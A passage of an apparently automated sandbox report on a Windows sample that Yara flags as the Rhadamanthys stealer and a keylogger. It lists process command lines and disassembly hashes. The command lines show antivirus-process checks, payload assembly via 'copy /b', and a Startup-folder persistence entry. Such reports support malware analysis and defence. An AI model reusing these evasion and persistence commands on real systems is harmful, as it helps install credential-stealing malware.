Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	23:46:02
Start date:	20/02/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://2no.co/2ZrVm4
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	23:46:02
Start date:	20/02/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1972,i,9908124520727013637,16052359887422154875,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	23:46:04
Start date:	20/02/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6ef0c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	23:46:08
Start date:	20/02/2024
Path:	C:\Users\user\AppData\Roaming\ClassroomEc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\ClassroomEc.exe"
Imagebase:	0xd60000
File size:	1'212'711 bytes
MD5 hash:	956D074F7C6BD174C43586F07892E820
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 29%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	23:46:08
Start date:	20/02/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	23:46:13
Start date:	20/02/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /k move Avoid Avoid.bat & Avoid.bat & exit
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	23:46:13
Start date:	20/02/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	23:46:14
Start date:	20/02/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xb0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	23:46:14
Start date:	20/02/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"
Imagebase:	0xa20000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	23:46:15
Start date:	20/02/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xb0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	23:46:15
Start date:	20/02/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "wrsa.exe opssvc.exe"
Imagebase:	0xa20000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	23:46:16
Start date:	20/02/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 29026
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	23:46:16
Start date:	20/02/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b Producing + Imaging + Phd + Ada + Organ 29026\Identification.pif
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	23:46:17
Start date:	20/02/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b Conf 29026\m
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	23:46:17
Start date:	20/02/2024
Path:	C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif
Wow64 process (32bit):	true
Commandline:	29026\Identification.pif 29026\m
Imagebase:	0x230000
File size:	946'784 bytes
MD5 hash:	848164D084384C49937F99D5B894253E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000019.00000003.2987224346.0000000001500000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000019.00000003.2990376919.0000000004BE0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000019.00000003.2990182254.0000000001E20000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 5%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	23:46:17
Start date:	20/02/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping -n 5 localhost
Imagebase:	0xa20000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	23:46:44
Start date:	20/02/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NeuraLink.url" & echo URL="C:\Users\user\AppData\Local\NeuraConnect Technologies\NeuraLink.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NeuraLink.url" & exit
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00000278B7660FB9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.2024418006.00000278B7660000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000278B7660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_278b7660000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: 41895a1b65220182f13423409c5f128343551aae90bb0e735a7acb2f15ba3748
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash: 7B9002048D950755D41411910C8D69C5040638D154FD85491881BD0184D89D42961152

Uniqueness

Uniqueness Score: -1.00%

Function 00000278B7660FA9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.2024418006.00000278B7660000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000278B7660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_278b7660000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: 41895a1b65220182f13423409c5f128343551aae90bb0e735a7acb2f15ba3748
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash: 7B9002048D950755D41411910C8D69C5040638D154FD85491881BD0184D89D42961152

Uniqueness

Uniqueness Score: -1.00%

Function 00000278B7660FB1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.2024418006.00000278B7660000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000278B7660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_278b7660000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: 41895a1b65220182f13423409c5f128343551aae90bb0e735a7acb2f15ba3748
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash: 7B9002048D950755D41411910C8D69C5040638D154FD85491881BD0184D89D42961152

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 7364, Parent PID: 7216COMMON

Executed Functions

Function 00007FF8487C47F2 Relevance: 1.7, Strings: 1, Instructions: 463COMMON

Download Yara Rule

Strings

K, xrefs: 00007FF8487C4839

Memory Dump Source

Source File: 00000006.00000002.2366798853.00007FF8487C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8487C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8487c0000_powershell.jbxd

Similarity

API ID:
String ID: K
API String ID: 0-856455061
Opcode ID: ce3ba068a4eacfd33f3a23eb4c9a7b29a949d69750c1b8f02f74ca34bc29c6da
Instruction ID: f6d1c3b33140b3cd40982a0b446cd4654d9509b80fb7a389d3deb598ee739a86
Opcode Fuzzy Hash: ce3ba068a4eacfd33f3a23eb4c9a7b29a949d69750c1b8f02f74ca34bc29c6da
Instruction Fuzzy Hash: D7E1B031A4CA498FEF94EF5CD4A5AED7BE1FF68354F14016AD009D7296CB24E841CB88

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8487C3AC5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2366798853.00007FF8487C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8487C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8487c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: 279e4b3fd6b3a67c873c82ab6ea400ce9a944735069eb7cbe03bf496c67dbd64
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: CD01A73010CB0C8FD744EF0CE451AA9B3E0FB85360F10052DE58AC3651D732E882CB45

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 7488, Parent PID: 7364COMMON

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FF8487A5F50 Relevance: 5.0, Strings: 3, Instructions: 1259
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8=zH, xrefs: 00007FF8487AC0E6
hM_H, xrefs: 00007FF8487ABC6D
d, xrefs: 00007FF8487AB794

Memory Dump Source

Source File: 00000008.00000002.2246434097.00007FF8487A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8487A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff8487a0000_powershell.jbxd

Similarity

API ID:
String ID: 8=zH$d$hM_H
API String ID: 0-2767458927
Opcode ID: d74ecea4b3e73efacf8a540612523b65a8dfced0e13ff3915f93aec190527d7c
Instruction ID: dc5ba89d19dc1a6b39bf01c80a29c00a5bc5f80b5c70d834c1be137376725e70
Opcode Fuzzy Hash: d74ecea4b3e73efacf8a540612523b65a8dfced0e13ff3915f93aec190527d7c
Instruction Fuzzy Hash: 2C823731A1CB4A8FE758EF2894656B973E1FF95340F1442BEC04EC7296DF29E8428784

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8487AD2C8 Relevance: 4.2, Strings: 3, Instructions: 421
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

oM_^, xrefs: 00007FF8487AD501
qM_^, xrefs: 00007FF8487AD301
pM_^, xrefs: 00007FF8487AD401

Memory Dump Source

Source File: 00000008.00000002.2246434097.00007FF8487A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8487A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff8487a0000_powershell.jbxd

Similarity

API ID:
String ID: oM_^$pM_^$qM_^
API String ID: 0-1552984782
Opcode ID: 362e6285512fe2f71684d3e096ce463f975c5f21839683fa86d9ec5fd08bd6bf
Instruction ID: 82eb4d3dee2bbb9a4f6b33e670a7d7d2712433c593abb6901f0c3bce7f9a5eff
Opcode Fuzzy Hash: 362e6285512fe2f71684d3e096ce463f975c5f21839683fa86d9ec5fd08bd6bf
Instruction Fuzzy Hash: C1B11A1BB0D66A5AE3017E7DB8550FD7B50DFC13B6B0C43B7D288C9083ED19644A82E8

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8487CD3E0 Relevance: 1.9, Strings: 1, Instructions: 636
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

gK_H, xrefs: 00007FF8487CD53F

Memory Dump Source

Source File: 00000008.00000002.2246434097.00007FF8487A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8487A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff8487a0000_powershell.jbxd

Similarity

API ID:
String ID: gK_H
API String ID: 0-3193895614
Opcode ID: aa57f307a8ba288838ccf66c21efdc7b368f4734f2826ad8d56c131215423e79
Instruction ID: 8f0dec3560a914485307dcc05b64a644fe10871c4f4e8fc3d74c43594c184bea
Opcode Fuzzy Hash: aa57f307a8ba288838ccf66c21efdc7b368f4734f2826ad8d56c131215423e79
Instruction Fuzzy Hash: DD127030A1CB468FE7B8EF1894557BA77D1EB98750F10467ED48EC3291DF34A8428786

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8487ABA99 Relevance: 1.8, Strings: 1, Instructions: 502
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

hM_H, xrefs: 00007FF8487ABC6D

Memory Dump Source

Source File: 00000008.00000002.2246434097.00007FF8487A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8487A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff8487a0000_powershell.jbxd

Similarity

API ID:
String ID: hM_H
API String ID: 0-3803223642
Opcode ID: 0266699ad70dd1e3173395f8cb26e7c43fe48a40866dda98ecf45e5755dcd54f
Instruction ID: 04839db7e0698e7bc3a3afe7689dc87676363c55842b2e9a9b767ae30c399774
Opcode Fuzzy Hash: 0266699ad70dd1e3173395f8cb26e7c43fe48a40866dda98ecf45e5755dcd54f
Instruction Fuzzy Hash: 39F1F431B1CA4A8FEB98EF3884696B973D2FF95344F1445BED00EC7296CE29D8428744

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF84887DE61 Relevance: 1.7, Strings: 1, Instructions: 478
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

DK_L, xrefs: 00007FF84887DFD4

Memory Dump Source

Source File: 00000008.00000002.2248180292.00007FF848870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff848870000_powershell.jbxd

Similarity

API ID:
String ID: DK_L
API String ID: 0-196361847
Opcode ID: d7dbd6b46f0f5635a6c3e120caa2ca7866ffa2cde26c0953eb1b5d73effb5c86
Instruction ID: afa6d35bf289a70b8fd5bef355f6a81574e0fecadad11e5fdc5f6e6657d7ba6c
Opcode Fuzzy Hash: d7dbd6b46f0f5635a6c3e120caa2ca7866ffa2cde26c0953eb1b5d73effb5c86
Instruction Fuzzy Hash: 18E12331E0DA8A8FEB95EB2898556B8BBF1FF55750F0801BBD00DC7192DB28AC05C755

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8487AC6F9 Relevance: 1.7, APIs: 1, Instructions: 227
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2246434097.00007FF8487A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8487A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff8487a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfb8e56e0f783cab98d7c1bb8b144383429f472b5de36783151f5a6fcb8ddf28
Instruction ID: b3d28feb974291bf47bb9704248d0edccd7ffdadbf4890fb9dd38c8006f6b4dc
Opcode Fuzzy Hash: dfb8e56e0f783cab98d7c1bb8b144383429f472b5de36783151f5a6fcb8ddf28
Instruction Fuzzy Hash: 6861E43190CB485FE758EF6898596B97BE0FF99351F08427ED049D3292DF28A8028785

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8487AC809 Relevance: 1.6, APIs: 1, Instructions: 131
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 00007FF8487AC8CE

Memory Dump Source

Source File: 00000008.00000002.2246434097.00007FF8487A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8487A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff8487a0000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4806e0fc3c5ad837d21fe454c827f8b67a4dda19c42a691589d1a0b68672d522
Instruction ID: 42babb11086cdc37bd4e7047e5b89410ef8091c3023c2ddafd4ea64428efd50c
Opcode Fuzzy Hash: 4806e0fc3c5ad837d21fe454c827f8b67a4dda19c42a691589d1a0b68672d522
Instruction Fuzzy Hash: 0031A23191CA5C9FDB58EF5CD846AE97BE0FBA9721F04422FE049E3251CB75A8018B85

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF84887D75E Relevance: .8, Instructions: 846
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2248180292.00007FF848870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff848870000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84632faf49b6725777c0251d229b63ea5d7429e2a39713dd2380c76339eead42
Instruction ID: a96c952a5a6fbda32ad3acce2a5bd9dc682ea1958ea3de2d86ec3aaf43b41674
Opcode Fuzzy Hash: 84632faf49b6725777c0251d229b63ea5d7429e2a39713dd2380c76339eead42
Instruction Fuzzy Hash: 81321422E1EACA4FE796AB285C652B57BF1EF56290F0801FBC04DC7197DE18AC05C356

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF84887055D Relevance: .7, Instructions: 667
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2248180292.00007FF848870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff848870000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3ea678ff44d423d7c20650f3af80db1002420e8c977c00fe2c11c2be9c9f497
Instruction ID: 9eabb184600a8b39852b92ec8f1227d0ee13bffd77e865eddc4ab1926d4d493d
Opcode Fuzzy Hash: c3ea678ff44d423d7c20650f3af80db1002420e8c977c00fe2c11c2be9c9f497
Instruction Fuzzy Hash: B6121461A0EBC95FE356A7785C252B47FE1EF96390F0901FBD088C7193DA19AC06C396

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848877F65 Relevance: .4, Instructions: 427
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2248180292.00007FF848870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff848870000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a1d3b92338f126c4045bc3e9c8e02d76f616d129f457e3b7cc18dfb573cf1b7
Instruction ID: 5c044c3316d7f156529ff669473632765bd1c377e75b9e6a7a55be7c8fe26ece
Opcode Fuzzy Hash: 0a1d3b92338f126c4045bc3e9c8e02d76f616d129f457e3b7cc18dfb573cf1b7
Instruction Fuzzy Hash: 9AD1F131E1EA8E5FE795EB2898556B9BBF1EF15351F0800BED04CC7193DB28A805C369

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF84887DA6A Relevance: .1, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2248180292.00007FF848870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff848870000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fd9a67e1a0cdb42212509e536afa494cc8e311cab56262e6bc2ce6b031e894a
Instruction ID: f7db503d98ff516c2d7747bad6f56b7326923700068137ddc6777b8dc5352877
Opcode Fuzzy Hash: 2fd9a67e1a0cdb42212509e536afa494cc8e311cab56262e6bc2ce6b031e894a
Instruction Fuzzy Hash: 0041E662F1EE875FF7A9B6281865378A6E2FF45391F5800BBC50EC31DADE1CA8054209

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF84868EB80 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2245651317.00007FF84868D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF84868D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff84868d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6af88a33f9ff0d542f461a4cccbc1002bec3e4c25477342d18aaa9d4a144b04d
Instruction ID: 2d7e79119b7ca00d1929ceaed17620cf5926da90dd1984aaf54dab84aff799c0
Opcode Fuzzy Hash: 6af88a33f9ff0d542f461a4cccbc1002bec3e4c25477342d18aaa9d4a144b04d
Instruction Fuzzy Hash: 7B41297080EBC45FE7569B3898459623FF0EF56360F1505EFD08DCB1A3E629A846C792

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848875C71 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2248180292.00007FF848870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff848870000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c0c4c4426e3ae2b2cd72cde2a154957498a8493ebc7437cf55cf4623aea300d
Instruction ID: 24f13d5b60168c2ad54f264f2ba7af571cacb73b43f615f9f4d795d879c09573
Opcode Fuzzy Hash: 6c0c4c4426e3ae2b2cd72cde2a154957498a8493ebc7437cf55cf4623aea300d
Instruction Fuzzy Hash: 6B01813270C9088FDB99EA0CF885DE573E0EB9937171401ABD14ACB562DB22EC95C781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848875BED Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2248180292.00007FF848870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff848870000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e5d517e7e3eb3682adeb1f52512e210035e574d35b618a2df940cd25d5042bb
Instruction ID: cdff40dd629156beea242d4b0e880dcb31f8508bc2fc1b2122a6070e0c8818e8
Opcode Fuzzy Hash: 6e5d517e7e3eb3682adeb1f52512e210035e574d35b618a2df940cd25d5042bb
Instruction Fuzzy Hash: F4F0BE32A0D6448FD769EB0CE8005E8B3E0EF44320B1000BAE05DC70A3DB2AEC80C754

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848875E90 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2248180292.00007FF848870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff848870000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2966f5dd921045595de225dafa487d6a521e8db1e1ea3d82ff14db8894c9df21
Instruction ID: 8acf01e8aa7c50de4584e7ed9086baaa1a4ef06ccfcf005c10a354d9f467fc9a
Opcode Fuzzy Hash: 2966f5dd921045595de225dafa487d6a521e8db1e1ea3d82ff14db8894c9df21
Instruction Fuzzy Hash: 36F05832A0D6448FE759EB5CE8928E8B7E0EF05360B1400B6E05DCB4A3DB2AEC44C755

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF8487AE318 Relevance: 4.6, Strings: 3, Instructions: 867COMMON

Download Yara Rule

Strings

m, xrefs: 00007FF8487DDCAA
EJ_H, xrefs: 00007FF8487DDF6E
+, xrefs: 00007FF8487DE442

Memory Dump Source

Source File: 00000008.00000002.2246434097.00007FF8487A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8487A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff8487a0000_powershell.jbxd

Similarity

API ID:
String ID: +$EJ_H$m
API String ID: 0-2551601182
Opcode ID: a9073f1e2bedd3d6c7680742a440ecd7a16aaa7d4b7ec6016c459cfc30cc42da
Instruction ID: 88b02795852253a3314048ebf8f025eb3a4071640e5ea50dcbc325eecd496fd8
Opcode Fuzzy Hash: a9073f1e2bedd3d6c7680742a440ecd7a16aaa7d4b7ec6016c459cfc30cc42da
Instruction Fuzzy Hash: 2D628DB1E0CA599FE799EF18D4557A9BBE1FB98340F1041BEE04DD3282DF3859818B09

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8487BCEA0 Relevance: 3.3, Strings: 2, Instructions: 793COMMON

Download Yara Rule

Strings

H, xrefs: 00007FF8487BCFFC
mL_H, xrefs: 00007FF8487BCF3F

Memory Dump Source

Source File: 00000008.00000002.2246434097.00007FF8487A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8487A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff8487a0000_powershell.jbxd

Similarity

API ID:
String ID: H$mL_H
API String ID: 0-2472571685
